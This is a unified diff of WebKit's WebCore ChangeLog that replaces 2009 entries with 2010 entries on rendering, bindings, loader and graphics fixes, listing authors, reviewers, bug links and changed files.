+        https://bugs.webkit.org/show_bug.cgi?id=34681
 
-        * platform/image-decoders/bmp/BMPImageDecoder.cpp:
-        (WebCore::BMPImageDecoder::processFileHeader):
+        http://media.24ways.org/2009/15/spinner-alt.html now renders correctly
 
-2009-07-30  Brady Eidson  <beidson@apple.com>
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::MaskEffectQt::MaskEffectQt): implement mask as
+        QGraphicsEffect
+        (WebCore::MaskEffectQt::draw): reimp
+        (WebCore::GraphicsLayerQtImpl::GraphicsLayerQtImpl): init the effect
+        (WebCore::GraphicsLayerQtImpl::paint): no need for drawContents
+        (WebCore::GraphicsLayerQtImpl::flushChanges): make sure to update the
+        mask layer, not just the actual children
 
-        Reviewed by Mark Rowe, but Dan Bernstein also reviewed and asked thoughtful questions.
+2010-02-09  Kwang Yul Seo  <skyul@company100.net>
 
-        <rdar://problem/7106968> and https://bugs.webkit.org/show_bug.cgi?id=27868
-        http://www.ruthhuntcandy.com/ goes into infinite refresh in WebKit, works in others.
-        
-        Test: http/tests/misc/meta-refresh-stray-single-quote.html
+        Reviewed by Laszlo Gombos.
 
-        * platform/network/HTTPParsers.cpp:
-        (WebCore::parseHTTPRefresh): Allow for a stray quote character at the start of the URL string.
+        [BREWMP] Fix macro redefinition error in BREWMP simulator build.
+        https://bugs.webkit.org/show_bug.cgi?id=34738
 
-2009-07-30  Mark Rowe  <mrowe@apple.com>
+        Remove warning: 'FAR' macro redefinition.
 
-        Reviewed by Adele Peterson and Jon Honeycutt.
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
 
-        Fix <https://bugs.webkit.org/show_bug.cgi?id=27828> for Mac.
-        Bug 27828: Title attribute is not respected on option elements
+2010-02-07  Yuzo Fujishima  <yuzo@google.com>
 
-        No tests added as it is not clear how to test a tool tip from DumpRenderTree.
+        Reviewed by Dan Bernstein.
 
-        * platform/PopupMenuClient.h: Add a method for retrieving the tool tip of an item.
-        * platform/mac/PopupMenuMac.mm:
-        (WebCore::PopupMenu::populate): Set the tool tip of the menu item to that of the represented item.
-        * rendering/RenderMenuList.cpp:
-        (WebCore::RenderMenuList::itemToolTip): Expose the title attribute of the element as the tool tip.
-        * rendering/RenderMenuList.h:
-        * rendering/RenderTextControlSingleLine.h:
-        (WebCore::RenderTextControlSingleLine::itemToolTip): Return an empty string, indicating no tool tip, for
-        the popup menu in RenderTextControlSingleLine.
+        Fix the following bugs:
+        https://bugs.webkit.org/show_bug.cgi?id=18926 - dt:after generate a line break. Boost documentation page renders poorly
+        https://bugs.webkit.org/show_bug.cgi?id=7276 - Most W3C padding related tests fail
 
-2009-07-30  Xiaomei Ji  <xji@chromium.org>
+        Tests: fast/css/inline-element-line-break.html
+               fast/css/pseudo-element-line-break.html
 
-        Reviewed by Dan Bernstein.
+        findNextLineBreak() unconditionally allowed lines to break between elements when no other line breaking opportunity had been found,
+        but that was unnecessary and led to incorrect layout. Disallow that kind of line breaks.
 
-        Remove ChromeClientChromium::setToolTip().
-        https://bugs.webkit.org/show_bug.cgi?id=27861
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::findNextLineBreak):
 
-        This patch is just to remove a temporarily introduced overloaded empty
-        virtual function. No test is needed.
+2010-02-09  Shinichiro Hamaji  <hamaji@chromium.org>
 
-        * page/chromium/ChromeClientChromium.h:
+        Reviewed by Darin Adler.
 
-2009-07-30  Michael Nordman  <michaeln@google.com>
+        Provide a way to get total number of pages to be printed
+        https://bugs.webkit.org/show_bug.cgi?id=34699
 
-        Reviewed by Darin Fisher.
+        Test: printing/numberOfPages.html
 
-        https://bugs.webkit.org/show_bug.cgi?id=27821
+        * WebCore.base.exp:
+        * page/PrintContext.cpp:
+        (WebCore::PrintContext::pageNumberForElement):
+        (WebCore::PrintContext::numberOfPages):
+        * page/PrintContext.h:
+        (WebCore::PrintContext::pageRects):
 
-        ApplicationCacheHost refactoring.
-        
-        1) Better encapsulate the interfaces between webcore common code
-        and the appcache system within a new class ApplicationCacheHost.
+2010-02-08  Dominic Cooney  <dominicc@google.com>
 
-        2) Use that interface throughout the loader system, replacing inline appcache logic.
+        Reviewed by Adam Barth.
 
-        3) Implement the interface in terms of webcore's appcache system.
+        [V8] Move Element custom methods into generic bindings
 
-        4) Add the new files to various makefiles.
+        This patch moves the security checks in setAttribute,
+        setAttributeNode, setAttributeNS and setAttributeNodeNS from
+        V8ElementCustom into the generic bindings so that they can be
+        reused in other bindings. This is in a similar vein to
+        <https://bugs.webkit.org/attachment.cgi?id=45872>.
 
-        5) Implement protocolHostAndPortAreEqual() in KURLGoogle.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=34554
 
-        No new features, no new tests. The existing layout tests all pass.
+        LayoutTests: None
 
-        * GNUmakefile.am:
-        * WebCore.base.exp:
         * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * html/HTMLHtmlElement.cpp:
-        (WebCore::HTMLHtmlElement::insertedIntoDocument):
-        * loader/DocumentLoader.cpp:
-        (WebCore::DocumentLoader::DocumentLoader):
-        (WebCore::DocumentLoader::~DocumentLoader):
-        (WebCore::DocumentLoader::mainReceivedError):
-        (WebCore::DocumentLoader::detachFromFrame):
-        (WebCore::DocumentLoader::setPrimaryLoadComplete):
-        * loader/DocumentLoader.h:
-        (WebCore::DocumentLoader::applicationCacheHost):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::canCachePageContainingThisFrame):
-        (WebCore::FrameLoader::logCanCacheFrameDecision):
-        (WebCore::FrameLoader::loadResourceSynchronously):
-        * loader/MainResourceLoader.cpp:
-        (WebCore::MainResourceLoader::didReceiveResponse):
-        (WebCore::MainResourceLoader::didReceiveData):
-        (WebCore::MainResourceLoader::didFinishLoading):
-        (WebCore::MainResourceLoader::didFail):
-        (WebCore::MainResourceLoader::load):
-        * loader/MainResourceLoader.h:
-        * loader/ResourceLoader.cpp:
-        (WebCore::ResourceLoader::load):
-        (WebCore::ResourceLoader::willSendRequest):
-        (WebCore::ResourceLoader::didReceiveResponse):
-        (WebCore::ResourceLoader::didFail):
-        * loader/ResourceLoader.h:
-        * loader/appcache/ApplicationCacheGroup.cpp:
-        (WebCore::ApplicationCacheGroup::selectCache):
-        (WebCore::ApplicationCacheGroup::selectCacheWithoutManifestURL):
-        (WebCore::ApplicationCacheGroup::finishedLoadingMainResource):
-        (WebCore::ApplicationCacheGroup::failedLoadingMainResource):
-        (WebCore::ApplicationCacheGroup::disassociateDocumentLoader):
-        (WebCore::ApplicationCacheGroup::update):
-        (WebCore::ApplicationCacheGroup::didFinishLoadingManifest):
-        (WebCore::ApplicationCacheGroup::manifestNotFound):
-        (WebCore::ApplicationCacheGroup::checkIfLoadIsComplete):
-        (WebCore::ApplicationCacheGroup::startLoadingEntry):
-        (WebCore::ApplicationCacheGroup::associateDocumentLoaderWithCache):
-        (WebCore::CallCacheListenerTask::create):
-        (WebCore::CallCacheListenerTask::performTask):
-        (WebCore::CallCacheListenerTask::CallCacheListenerTask):
-        (WebCore::ApplicationCacheGroup::postListenerTask):
-        * loader/appcache/ApplicationCacheGroup.h:
-        * loader/appcache/ApplicationCacheHost.cpp: Added.
-        * loader/appcache/ApplicationCacheHost.h: Added.
-        * loader/appcache/ApplicationCacheStorage.cpp:
-        (WebCore::ApplicationCacheStorage::transferApplicationCache):
-        * loader/appcache/ApplicationCacheStorage.h:
-        * loader/appcache/DOMApplicationCache.cpp:
-        (WebCore::DOMApplicationCache::DOMApplicationCache):
-        (WebCore::DOMApplicationCache::disconnectFrame):
-        (WebCore::DOMApplicationCache::applicationCacheHost):
-        (WebCore::DOMApplicationCache::status):
-        (WebCore::DOMApplicationCache::update):
-        (WebCore::DOMApplicationCache::swapCache):
-        (WebCore::DOMApplicationCache::addEventListener):
-        (WebCore::DOMApplicationCache::removeEventListener):
-        (WebCore::DOMApplicationCache::dispatchEvent):
-        (WebCore::DOMApplicationCache::callListener):
-        (WebCore::DOMApplicationCache::toEventName):
-        (WebCore::DOMApplicationCache::toEventType):
-        * loader/appcache/DOMApplicationCache.h:
-        (WebCore::DOMApplicationCache::):
-        (WebCore::DOMApplicationCache::setAttributeEventListener):
-        (WebCore::DOMApplicationCache::getAttributeEventListener):
-        (WebCore::DOMApplicationCache::clearAttributeEventListener):
-        (WebCore::DOMApplicationCache::callEventListener):
-        (WebCore::DOMApplicationCache::setOnchecking):
-        (WebCore::DOMApplicationCache::onchecking):
-        (WebCore::DOMApplicationCache::setOnerror):
-        (WebCore::DOMApplicationCache::onerror):
-        (WebCore::DOMApplicationCache::setOnnoupdate):
-        (WebCore::DOMApplicationCache::onnoupdate):
-        (WebCore::DOMApplicationCache::setOndownloading):
-        (WebCore::DOMApplicationCache::ondownloading):
-        (WebCore::DOMApplicationCache::setOnprogress):
-        (WebCore::DOMApplicationCache::onprogress):
-        (WebCore::DOMApplicationCache::setOnupdateready):
-        (WebCore::DOMApplicationCache::onupdateready):
-        (WebCore::DOMApplicationCache::setOncached):
-        (WebCore::DOMApplicationCache::oncached):
-        (WebCore::DOMApplicationCache::setOnobsolete):
-        (WebCore::DOMApplicationCache::onobsolete):
-        (WebCore::DOMApplicationCache::~DOMApplicationCache):
-        * platform/KURLGoogle.cpp:
-        (WebCore::protocolHostAndPortAreEqual):
+        * bindings/generic/BindingElement.h: Added.
+        (WebCore::::setAttribute):
+        (WebCore::::setAttributeNode):
+        (WebCore::::setAttributeNS):
+        (WebCore::::setAttributeNodeNS):
+        * bindings/v8/V8Binding.h:
+        * bindings/v8/custom/V8ElementCustom.cpp:
+        (WebCore::V8Element::setAttributeCallback):
+        (WebCore::V8Element::setAttributeNodeCallback):
+        (WebCore::V8Element::setAttributeNSCallback):
+        (WebCore::V8Element::setAttributeNodeNSCallback):
 
-2009-07-30  Chris Fleizach  <cfleizach@apple.com>
+2010-02-08  Hayato Ito  <hayato@chromium.org>
 
         Reviewed by Darin Adler.
 
-        Bug 27854 - crash at WebCore::AXObjectCache::notificationPostTimerFired
-        https://bugs.webkit.org/show_bug.cgi?id=27854
+        Schedule a loading request when there are many in-flight requests beyond
+        the limit to avoid forever page loading.
 
-        AccessibilityObjects need to be retained while waiting to fire their notifications, otherwise
-        they can disappear and then lead to crashes.
-       
-        * accessibility/AXObjectCache.cpp:
-        (WebCore::AXObjectCache::notificationPostTimerFired):
-        (WebCore::AXObjectCache::postNotification):
-        * accessibility/AXObjectCache.h:
+        https://bugs.webkit.org/show_bug.cgi?id=31227
 
-2009-07-30  Simon Fraser  <simon.fraser@apple.com>
+        Test: http/tests/loading/load-javascript-after-many-xhrs.html
 
-        Minor change to earlier commit suggested by Darin Adler.
-        Use the variable rather than dereferencing 'it' again.
-
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::keyframeStylesForAnimation):
-
-2009-07-30  Simon Fraser  <simon.fraser@apple.com>
+        * loader/loader.cpp:
+        (WebCore::Loader::Host::servePendingRequests):
 
-        Reviewed by Dan Bernstein.
+2010-02-08  David Levin  <levin@chromium.org>
 
-        Animation with a timing function property in a keyframe eats CPU
-        https://bugs.webkit.org/show_bug.cgi?id=27856
-        <rdar://problem/7104476> Animation demo uses lots of CPU
-        
-        Don't include animation-timing-function in the list of properties to
-        animate in a keyframe animation, because this property is not animated;
-        instead, it describes the timing function to apply to this keyframe.
-        
-        This prevents the animation code from thinking that there's a property
-        that it has to software-animate, and thus firing the animation timer frequently.
-        
-        Not testable because there is no visible impact.
+        Reviewed by Gavin Barraclough.
 
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::keyframeStylesForAnimation): Don't add
-        CSSPropertyWebkitAnimationTimingFunction to the list of properties to animate.
+        REGRESSION (before r54472): Various tests in fast/workers are crashing on the buildbot.
+        https://bugs.webkit.org/show_bug.cgi?id=34728
 
-        * page/animation/KeyframeAnimation.cpp
-        (WebCore::KeyframeAnimation::getKeyframeAnimationInterval): Add a comment
+        The core part of the fix is to change WebCoreJSClientData::m_normalWorld
+        from DOMWrapperWorld to RefPtr<DOMWrapperWorld> so that the DOMWrapperWorld
+        is really ref counted.
 
-2009-07-30  Mike Fenton  <mike.fenton@torchmobile.com>
+        No new tests because current tests sufficiently cover this as evidenced as
+        the buildbot crashes.
 
-         Reviewed by Adam Treat.
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::DOMWrapperWorld::~DOMWrapperWorld): Made this robust to m_globalData
+        being 0.
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMWrapperWorld::create): Made this class follow the standard
+        create pattern for RefCounted classes.
+        (WebCore::DOMWrapperWorld::detachFromGlobalData): Since this class can
+        now outlive JSGlobalData, this method tells it to stop using its JSGlobalData.
+        (WebCore::WebCoreJSClientData::WebCoreJSClientData): Adjusted due to
+        m_normalWorld being a RefPtr.
+        (WebCore::WebCoreJSClientData::~WebCoreJSClientData): Ditto (and added
+        asserts for the FIXME).
+        (WebCore::WebCoreJSClientData::normalWorld): Ditto.
+        * bindings/js/ScriptController.cpp:
+        (WebCore::IsolatedWorld::create): Made the constructor protected.
+        (WebCore::IsolatedWorld::IsolatedWorld): Made the constructor protected, so
+        that code would have to use the create method.
 
-         Apply colour style to buttons that use Theme settings in Qt.
+2010-02-08  Kinuko Yasuda  <kinuko@chromium.org>
 
-         https://bugs.webkit.org/show_bug.cgi?id=27814
+        Reviewed by David Levin.
 
-         * platform/qt/RenderThemeQt.cpp:
-         (WebCore::RenderThemeQt::adjustButtonStyle):
+        Remove special utf-8 tag from Chromium cilpboard code because
+        we now have the corresponding code in generic clipboard framework
+        code in chromium (since it's needed by other places than in Web
+        page rendering) and no longer need the separate workaround code in
+        WebKit.
+        https://bugs.webkit.org/show_bug.cgi?id=34567
 
-=== End merge of nitro-extreme branch 2009-07-30 ===
+        Test: (for regression) editing/pasteboard
 
-2009-05-11  Geoffrey Garen  <ggaren@apple.com>
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::ClipboardChromium::writeRange):
+        * platform/chromium/PasteboardChromium.cpp:
+        (WebCore::Pasteboard::writeSelection):
+        (WebCore::Pasteboard::documentFragment):
 
-        Reviewed by Sam Weinig.
+2010-02-08  Darin Adler  <darin@apple.com>
 
-        Make WebCore compile with the new JS number representation.
+        Reviewed by Dan Bernstein.
 
-        * ForwardingHeaders/runtime/JSAPIValueWrapper.h: Added.
-        * ForwardingHeaders/runtime/JSNumberCell.h: Removed.
-        * bindings/js/ScriptEventListener.cpp:
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * bridge/c/c_instance.cpp:
+        Crash due to layout not done in case involving removal of absolute positioning
+        https://bugs.webkit.org/show_bug.cgi?id=34734
+        rdar://problem/7588280
 
-=== Start merge of nitro-extreme branch 2009-07-30 ===
+        Test: fast/dynamic/position-change-layout.html
 
-2009-07-30  Dean McNamee  <deanm@chromium.org>
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::styleDidChange): Call markContainingBlocksForLayout in
+        a case where the object already needs layout, but might have a new containing
+        block and so needs to mark the new containing block.
 
-        Reviewed by Dimitri Glazkov.
+2010-02-08  Charlie Reis  <creis@chromium.org>
 
-        Don't try to hash member function pointers, instead use a precomputed value based on the field.
-        https://bugs.webkit.org/show_bug.cgi?id=27843
+        Reviewed by Darin Adler.
 
-        * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/V8SVGPODTypeWrapper.h:
-        (WebCore::PODTypeWrapperCacheInfo::PODTypeWrapperCacheInfo):
-        (WebCore::PODTypeWrapperCacheInfo::operator==):
-        (WebCore::PODTypeWrapperCacheInfoHash::hash):
-        (WebCore::V8SVGDynamicPODTypeWrapperCache::lookupOrCreateWrapper):
+        onbeforeunload not called at window close + frame or iframe focused
+        https://bugs.webkit.org/show_bug.cgi?id=27481
+        
+        Chromium and WebKit on Windows will now fire beforeunload handlers
+        even if an inner frame is focused.  
 
-2009-07-30  Xan Lopez  <xlopez@igalia.com>
+        Layout tests aren't able to test this bug, since it requires closing
+        the actual browser window, not calling window.close().  Instead,
+        test with WebCore/manual-tests/onbeforeunload-focused-iframe.html.
 
-        Reviewed by Simon Fraser.
+        * manual-tests/onbeforeunload-focused-iframe.html: Added.
+        * manual-tests/resources/focused-iframe.html: Added.
 
-        Fix compiler warning.
+2010-02-08  Alexey Proskuryakov  <ap@apple.com>
 
-        * dom/SelectElement.cpp:
-        (WebCore::SelectElement::menuListDefaultEventHandler):
+        Addressing review feedback.
 
-2009-07-29  Matt Perry  <mpcomplete@chromium.org>
+        * bridge/c/c_instance.h: Removed argument name.
 
-        Reviewed by Adam Barth.
+2010-02-08  Alexey Proskuryakov  <ap@apple.com>
 
-        Add a way to register V8 extensions for Isolated Worlds only.
-        https://bugs.webkit.org/show_bug.cgi?id=27785
+        Reviewed by Darin Adler.
 
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::evaluateInNewWorld):
-        (WebCore::ScriptController::evaluateInNewContext):
-        * bindings/v8/ScriptController.h:
-        * bindings/v8/V8IsolatedWorld.cpp:
-        (WebCore::V8IsolatedWorld::evaluate):
-        * bindings/v8/V8IsolatedWorld.h:
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::evaluateInNewWorld):
-        (WebCore::V8Proxy::evaluateInNewContext):
-        (WebCore::V8Proxy::createNewContext):
-        (WebCore::V8Proxy::initContextIfNeeded):
-        (WebCore::V8Proxy::registerExtensionWithV8):
-        (WebCore::V8Proxy::registerExtension):
-        * bindings/v8/V8Proxy.h:
+        https://bugs.webkit.org/show_bug.cgi?id=34727
+        Assertion crashes and freezes when plug-in property access results in an exception
 
-2009-07-30  Mike Fenton  <mike.fenton@torchmobile.com>
+        Test: plugins/netscape-plugin-property-access-exception.html
 
-         Reviewed by Adam Treat.
+        * bridge/c/c_instance.h: Made moveGlobalExceptionToExecState public, since it also need to
+        be called from CField.
 
-         Add previously defined out support to PopupMenuQt for marking entries as
-         disabled and for selecting the desired item.
+        * bridge/c/c_runtime.cpp:
+        (JSC::Bindings::CField::valueFromInstance): Call moveGlobalExceptionToExecState(). Without
+        this, not only didn't we get exceptions, but we also got an assertion failure because of
+        dangling global exception on next call into plug-in.
+        (JSC::Bindings::CField::setValueToInstance): Ditto.
 
-         https://bugs.webkit.org/show_bug.cgi?id=27772
+2010-02-08  Dirk Schulze  <krit@webkit.org>
 
-         * platform/qt/PopupMenuQt.cpp:
-         (WebCore::PopupMenu::populate):
+        Unreviewed build fix of ChromiumWin.
 
-2009-07-30  Darin Adler  <darin@apple.com>
+        * platform/graphics/chromium/TransparencyWin.cpp:
+        (WebCore::):
+        (WebCore::TransparencyWin::setupLayerForOpaqueCompositeLayer):
+        (WebCore::TransparencyWin::setupTransformForKeepTransform):
+        * platform/graphics/chromium/TransparencyWin.h:
+        * rendering/RenderThemeChromiumWin.cpp:
+        (WebCore::):
 
-        Reviewed by David Levin.
+2010-02-05  Dumitru Daniliuc  <dumi@chromium.org>
 
-        Use checked casts for render tree
-        https://bugs.webkit.org/show_bug.cgi?id=23522
+        Reviewed by Jeremy Orlow.
 
-        Next step: Add new toRenderWidget cast and use it everywhere.
+        Adding a way to get the set of all open database handles pointing
+        to a given database.
+        https://bugs.webkit.org/show_bug.cgi?id=34619
 
-        Use checked casts in all the places that were using static_cast
-        but there is a checked cast available.
+        Sometimes we need to be able to close all handles to a database as
+        soon as possible (to delete the DB file, for example).
 
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::stringValue):
-        (WebCore::AccessibilityRenderObject::widget):
-        (WebCore::AccessibilityRenderObject::widgetForAttachmentView):
-        (WebCore::AccessibilityRenderObject::visiblePositionForPoint):
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (getPangoLayoutForAtk):
-        * dom/Document.cpp:
-        (WebCore::widgetForNode):
-        (WebCore::Document::setFocusedNode):
-        * html/HTMLEmbedElement.cpp:
-        (WebCore::findWidgetRenderer):
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::defaultEventHandler):
-        * html/HTMLObjectElement.cpp:
-        (WebCore::HTMLObjectElement::renderWidgetForJSBindings):
-        * html/HTMLPlugInElement.cpp:
-        (WebCore::HTMLPlugInElement::defaultEventHandler):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::loadSubframe):
-        * loader/PluginDocument.cpp:
-        (WebCore::PluginTokenizer::writeRawData):
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::hitTestResultAtPoint):
-        (WebCore::subframeForTargetNode):
-        (WebCore::EventHandler::handleWheelEvent):
-        * page/Frame.cpp:
-        (WebCore::isFrameElement):
-        * page/PrintContext.cpp:
-        (WebCore::PrintContext::computePageRects):
-        * page/android/EventHandlerAndroid.cpp:
-        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
-        * page/chromium/EventHandlerChromium.cpp:
-        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
-        * page/chromium/FrameChromium.cpp:
-        (WebCore::computePageRectsForFrame):
-        * page/gtk/EventHandlerGtk.cpp:
-        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
-        * page/haiku/EventHandlerHaiku.cpp:
-        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
-        * page/mac/EventHandlerMac.mm:
-        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
-        (WebCore::EventHandler::passSubframeEventToSubframe):
-        * page/win/FrameWin.cpp:
-        (WebCore::computePageRectsForFrame):
-        * page/wx/EventHandlerWx.cpp:
-        (WebCore::EventHandler::passWidgetMouseDownEventToWidget):
-        * platform/chromium/ClipboardChromium.cpp:
-        (WebCore::getCachedImage):
-        * platform/chromium/PasteboardChromium.cpp:
-        (WebCore::Pasteboard::writeImage):
-        * platform/gtk/PasteboardGtk.cpp:
-        (WebCore::Pasteboard::writeImage):
-        * platform/mac/PasteboardMac.mm:
-        (WebCore::Pasteboard::writeImage):
-        * platform/qt/ClipboardQt.cpp:
-        (WebCore::getCachedImage):
-        * platform/qt/PasteboardQt.cpp:
-        (WebCore::Pasteboard::writeImage):
-        * platform/win/ClipboardWin.cpp:
-        (WebCore::getCachedImage):
-        * platform/win/PasteboardWin.cpp:
-        (WebCore::Pasteboard::writeImage):
-        * rendering/InlineBox.h:
-        (WebCore::InlineBox::boxModelObject):
-        * rendering/RenderInline.cpp:
-        (WebCore::RenderInline::splitInlines):
-        (WebCore::RenderInline::addChildToContinuation):
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::updateImageContents):
-        * rendering/TextControlInnerElements.cpp:
-        (WebCore::RenderTextControlInnerBlock::positionForPoint):
-        Use checked cast instead of static_cast.
-        
-        * rendering/RenderWidget.h: Added toRenderWidget.
+        * storage/DatabaseTracker.cpp:
+        (WebCore::DatabaseTracker::getOpenDatabases):
+        * storage/DatabaseTracker.h:
+        * storage/chromium/DatabaseTrackerChromium.cpp:
+        (WebCore::DatabaseTracker::addOpenDatabase):
+        (WebCore::DatabaseTracker::removeOpenDatabase):
+        (WebCore::DatabaseTracker::getOpenDatabases):
 
-2009-07-30  Yong Li  <yong.li@torchmobile.com>
+2010-02-08  Dirk Schulze  <krit@webkit.org>
 
-        Reviewed by George Staikos.
+        Unreviewed windows build-fix.
 
-        WINCE PORT: some files modified to build for WINCE
-        https://bugs.webkit.org/show_bug.cgi?id=27816
+        * page/win/FrameCGWin.cpp:
+        (WebCore::drawRectIntoContext):
 
-        * accessibility/AccessibilityObject.h:
-        * page/win/EventHandlerWin.cpp:
-        (WebCore::EventHandler::createDraggingClipboard):
-        * platform/win/PlatformMouseEventWin.cpp:
-        (WebCore::messageToEventType):
-        (WebCore::PlatformMouseEvent::PlatformMouseEvent):
-        * platform/win/PlatformScreenWin.cpp:
-        (WebCore::deviceInfoForWidget):
-        (WebCore::screenIsMonochrome):
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::show):
-        (WebCore::PopupMenu::paint):
-        (WebCore::registerPopup):
-        (WebCore::PopupWndProc):
+2010-02-08  Dirk Schulze  <krit@webkit.org>
 
-2009-07-30  Yong Li  <yong.li@torchmobile.com>
+        Reviewed by Nikolas Zimmermann.
 
-        Reviewed by George Staikos.
+        Add back an AffineTransform class for use by SVG
+        https://bugs.webkit.org/show_bug.cgi?id=33750
 
-        WINCE PORT: modified graphics files
-        https://bugs.webkit.org/show_bug.cgi?id=27779
+        This adds back AffineTransform. This saves additional 4% memory consumption
+        on the 50k rects stress test: https://bugs.webkit.org/attachment.cgi?id=46721
+        It also makes it possible to optimize the calculations internally of
+        AffineTransform to the needs of 2D transformations (the second benefit for SVG,
+        which uses transformations relative often at the moment.
+        Everything that is 2D related (like images, patterns, gradients, fonts), uses
+        AffineTransform now.
 
-        * platform/graphics/BitmapImage.h:
-        (WebCore::BitmapImage::mayFillWithSolidColor):
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSSVGMatrixCustom.cpp:
+        (WebCore::JSSVGMatrix::multiply):
+        (WebCore::JSSVGMatrix::inverse):
+        (WebCore::JSSVGMatrix::rotateFromVector):
+        * bindings/js/JSSVGPODTypeWrapper.h:
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bindings/scripts/CodeGeneratorObjC.pm:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8SVGMatrixCustom.cpp:
+        (WebCore::V8SVGMatrix::multiplyCallback):
+        (WebCore::V8SVGMatrix::inverseCallback):
+        (WebCore::V8SVGMatrix::rotateFromVectorCallback):
+        * html/HTMLCanvasElement.cpp: Changed to AffineTransform now
+        (WebCore::HTMLCanvasElement::baseTransform):
+        * html/HTMLCanvasElement.h:
+        * platform/graphics/FloatPoint.cpp:
+        (WebCore::FloatPoint::matrixTransform):
+        * platform/graphics/FloatPoint.h:
+        * platform/graphics/GeneratedImage.cpp:
+        (WebCore::GeneratedImage::drawPattern):
+        * platform/graphics/GeneratedImage.h:
+        * platform/graphics/Gradient.cpp:
+        (WebCore::Gradient::setGradientSpaceTransform):
+        (WebCore::Gradient::setPlatformGradientSpaceTransform):
         * platform/graphics/Gradient.h:
-        * platform/graphics/GraphicsContext.cpp:
+        (WebCore::Gradient::gradientSpaceTransform):
         * platform/graphics/GraphicsContext.h:
-        * platform/graphics/ImageSource.h:
-        * platform/graphics/MediaPlayer.cpp:
+        * platform/graphics/Image.cpp:
+        (WebCore::Image::drawTiled):
+        * platform/graphics/Image.h:
+        * platform/graphics/ImageBuffer.h:
+        (WebCore::ImageBuffer::baseTransform):
         * platform/graphics/Path.h:
+        * platform/graphics/Pattern.cpp:
+        (WebCore::Pattern::setPatternSpaceTransform):
         * platform/graphics/Pattern.h:
-        * platform/graphics/transforms/Matrix3DTransformOperation.cpp:
-        (WebCore::Matrix3DTransformOperation::blend):
-        * platform/graphics/transforms/MatrixTransformOperation.cpp:
-        (WebCore::MatrixTransformOperation::blend):
+        (WebCore::Pattern::create):
+        (WebCore::Pattern::tileImage):
+        * platform/graphics/cairo/FontCairo.cpp:
+        (WebCore::Font::drawGlyphs):
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::setPlatformFill):
+        (WebCore::setPlatformStroke):
+        (WebCore::GraphicsContext::getCTM):
+        * platform/graphics/cairo/ImageCairo.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/cairo/PathCairo.cpp:
+        * platform/graphics/cairo/PatternCairo.cpp:
+        (WebCore::Pattern::createPlatformPattern):
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::GraphicsContext::getCTM):
+        * platform/graphics/cg/GraphicsContextPlatformPrivateCG.h:
+        (WebCore::GraphicsContextPlatformPrivate::concatCTM):
+        * platform/graphics/cg/ImageCG.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/cg/PathCG.cpp:
+        * platform/graphics/cg/PatternCG.cpp:
+        (WebCore::Pattern::createPlatformPattern):
+        * platform/graphics/haiku/GraphicsContextHaiku.cpp:
+        (WebCore::GraphicsContext::getCTM):
+        * platform/graphics/haiku/ImageHaiku.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/haiku/PathHaiku.cpp:
+        * platform/graphics/qt/FontQt.cpp:
+        (WebCore::Font::drawComplexText):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::getCTM):
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::fillRect):
+        * platform/graphics/qt/ImageQt.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/qt/PathQt.cpp:
+        * platform/graphics/qt/PatternQt.cpp:
+        (WebCore::Pattern::createPlatformPattern):
+        * platform/graphics/skia/GradientSkia.cpp:
+        (WebCore::Gradient::setPlatformGradientSpaceTransform):
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::getCTM):
+        * platform/graphics/skia/ImageSkia.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/skia/PathSkia.cpp:
+        * platform/graphics/skia/PatternSkia.cpp:
+        (WebCore::Pattern::platformPattern):
+        * platform/graphics/skia/SkiaFontWin.cpp:
+        (WebCore::windowsCanHandleTextDrawing):
+        * platform/graphics/transforms/AffineTransform.cpp:
+        (WebCore::AffineTransform::makeIdentity): needed by some parts of WebCore
+        (WebCore::AffineTransform::scale): Didn't scale the complete matrix
+        (WebCore::AffineTransform::translate): Didn't respect other transformations
+        (WebCore::AffineTransform::shear): direct calculation, no extra multiply of matrices
+        (WebCore::AffineTransform::map):
